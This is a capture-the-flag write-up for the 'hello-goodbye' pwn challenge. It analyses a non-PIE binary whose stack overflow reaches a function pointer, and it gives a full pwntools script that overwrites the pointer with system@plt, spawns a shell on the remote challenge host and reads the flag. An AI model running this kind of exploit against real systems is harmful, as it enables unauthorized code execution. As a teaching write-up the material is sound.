hello-goodbye
hello-goodbye
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-06-17 | Status: Solved Techniques: function_pointer_overwrite, ret2system, stack_buffer_overflow
Summary
Task: NON-PIE 64-bit ELF reads 0x80 bytes into a 0x30 stack buffer, overflowing an on-stack function pointer that is then called with rdi pointing at the buffer. Solution: overwrite the function pointer (offset 0x28) with system@plt and place "/bin/sh" at the start of the buffer, turning the indirect call into system("/bin/sh") — no libc leak needed.
hello-goodbye — pwn_spbctf
Description
Привет или пока. Выбирать только тебе.
English: "Hello or goodbye. The choice is yours." A 64-bit x86-64 ELF
(hello-goodbye.elf) is provided along with libc-2.31.so. Remote service at
nc 109.233.56.90 11670. Goal: pop a shell and read the flag.
Analysis
checksec: NON-PIE (base 0x400000), NX enabled, Partial RELRO, no stack
canary.
Relevant functions:
show_memory()@0x401182— runssystem("cat /proc/$PPID/maps")at startup (string at0x402076). This prints the process memory map and is a built-in libc-base leak helper. It is not needed for this solve.hello()@0x4011ad/goodbye()@0x4011d4— each justprintf("Hello/Goodbye, %s", buf).main()@0x4011fb:buf@rbp-0x30(0x30 bytes), function pointerfptr@rbp-0x8.scanf("%d", choice@rbp-0x34). choice1→fptr=&hello,2→fptr=&goodbye.printf("Enter your name: ").read(0, buf=rbp-0x30, 0x80)— reads 0x80 bytes into a 0x30 buffer → overflow.- calls
fptr(loaded fromrbp-0x8) viacall rdx, with rdi = buf.
The overflow trivially reaches fptr at offset 0x28 (rbp-0x30 .. rbp-0x8).
With no canary in the way, we control the function pointer directly.
Two facts make this a clean ret2system with no leak:
- The binary imports and PLT-resolves
system:system@plt = 0x401040. Because the binary is NON-PIE, this address is fixed. - The indirect call passes
rdi = buf— i.e. our own input — to the callee.
Solution
Overwrite fptr with system@plt and place "/bin/sh\0" at the very start of
buf. The indirect call then becomes system("/bin/sh") because rdi already
points at the start of the buffer.
Payload sent at the read:
b"/bin/sh\x00".ljust(0x28, b"A") + p64(0x401040)
Interaction: read the menu (recvuntil(b'goodbye')), choose 1
(sendline(b'1')), wait for Enter your name: , send the payload, then drop
into the resulting shell and read the flag.
python read-only • copy allowed#!/usr/bin/env python3 # hello-goodbye.elf (NON-PIE, no canary): main reads choice, sets a function pointer # fptr (rbp-0x8) to hello/goodbye, then read(0, buf=rbp-0x30, 0x80) -> overflow, # then call fptr with rdi=buf. Overwrite fptr (offset 0x28) with system@plt and put # "/bin/sh" at the start of buf -> system("/bin/sh"). NON-PIE => system@plt fixed. from pwn import * context.arch = 'amd64'; context.log_level = 'info' HOST, PORT = '109.233.56.90', 11670 SYSTEM_PLT = 0x401040 io = remote(HOST, PORT) # main: show_memory() prints /proc/PPID/maps, then prints the menu, then prompts choice io.recvuntil(b'goodbye') # menu printed io.sendline(b'1') # choose hello io.recvuntil(b'Enter your name: ') payload = b'/bin/sh\x00' payload = payload.ljust(0x28, b'A') payload += p64(SYSTEM_PLT) io.send(payload) io.sendline(b'cat /flag* /flag 2>/dev/null; id') print(io.recvall(timeout=4).decode(errors='replace')) io.close()
The shell runs (id shows uid=6(man)) and cat /flag* prints the flag.